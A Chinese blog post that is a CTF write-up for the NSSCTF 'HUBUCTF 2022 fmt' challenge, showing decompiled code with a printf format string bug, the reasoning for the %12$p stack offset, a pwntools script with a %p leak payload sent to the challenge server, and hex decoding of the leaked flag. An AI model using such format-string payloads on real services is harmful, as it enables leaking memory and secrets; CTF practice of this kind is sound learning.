nssctf-[HUBUCTF 2022 新生赛]fmt

没在CSND上看到这题的wp,整理一下思路。

考察的是格式化字符串漏洞,代码如下:

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  FILE *stream; // [rsp+8h] [rbp-68h]
  char format[32]; // [rsp+10h] [rbp-60h] BYREF
  char s[8]; // [rsp+30h] [rbp-40h] BYREF
  __int64 v6; // [rsp+38h] [rbp-38h]
  __int64 v7; // [rsp+40h] [rbp-30h]
  __int64 v8; // [rsp+48h] [rbp-28h]
  __int64 v9; // [rsp+50h] [rbp-20h]
  __int64 v10; // [rsp+58h] [rbp-18h]
  __int16 v11; // [rsp+60h] [rbp-10h]
  unsigned __int64 v12; // [rsp+68h] [rbp-8h]

  v12 = __readfsqword(0x28u);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  stream = fopen("flag.txt", "r");
  *(_QWORD *)s = 0LL;
  v6 = 0LL;
  v7 = 0LL;
  v8 = 0LL;
  v9 = 0LL;
  v10 = 0LL;
  v11 = 0;
  if ( stream )
    fgets(s, 50, stream);
  HIBYTE(v11) = 0;
  while ( 1 )
  {
    puts("Echo as a service");
    gets(format);
    printf(format);
    putchar(10);
  }
}

以只读模式打开名为 flag.txt 的文件。如果文件成功打开,返回一个指向文件的指针 stream,否则返回 NULL。在成功打开文件后,从文件中读取最多50个字符(包括换行符和终止符)到 s 数组中。fgets 函数会读取一行内容,直到达到指定的字符数(包括终止符)或遇到换行符或文件结束标志。

char s[8]; // [rsp+30h] [rbp-40h] BYREF

s数组的初始位置距离rbp的距离为0x40

如图,rbp的地址已知,反向推出s的位置,即可得到s相对于格式化字符串的偏移%12$p

此时即可编写exp,注意程序是小端序,得到16进制编码的flag后进行还原。

from pwn import * 

context (os='linux', arch='amd64', log_level='debug')
context.terminal = ['tmux','splitw','-h','-l','140']

pwnfile = './fmt'
elf = ELF(pwnfile)
#libc = ELF('')

#io = process(pwnfile)
io = remote('node5.anna.nssctf.cn',24823)

#gdb.attach(io)
pay = b'%12$p%13$p%14$p%15$p%16$p%17$p'
io.sendline(pay)

io.interactive()
flag = ['617b46544353534e','2d65663030326362','3638342d66333237','372d333137622d35','6133343433323432','a7d353936']
for str in flag:
    for i in range(len(str) -2,-1,-2):
        byte = str[i:i+2]
        print(chr(int(byte,16)),end="")

对于第一个字符串 '617b46544353534e',内层循环从末尾开始读取:
4e -> N
53 -> S
53 -> S
43 -> C
54 -> T
46 -> F
7b -> {
61 -> a
依次处理其他字符串,最终输出完整的flag。

  • 5
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值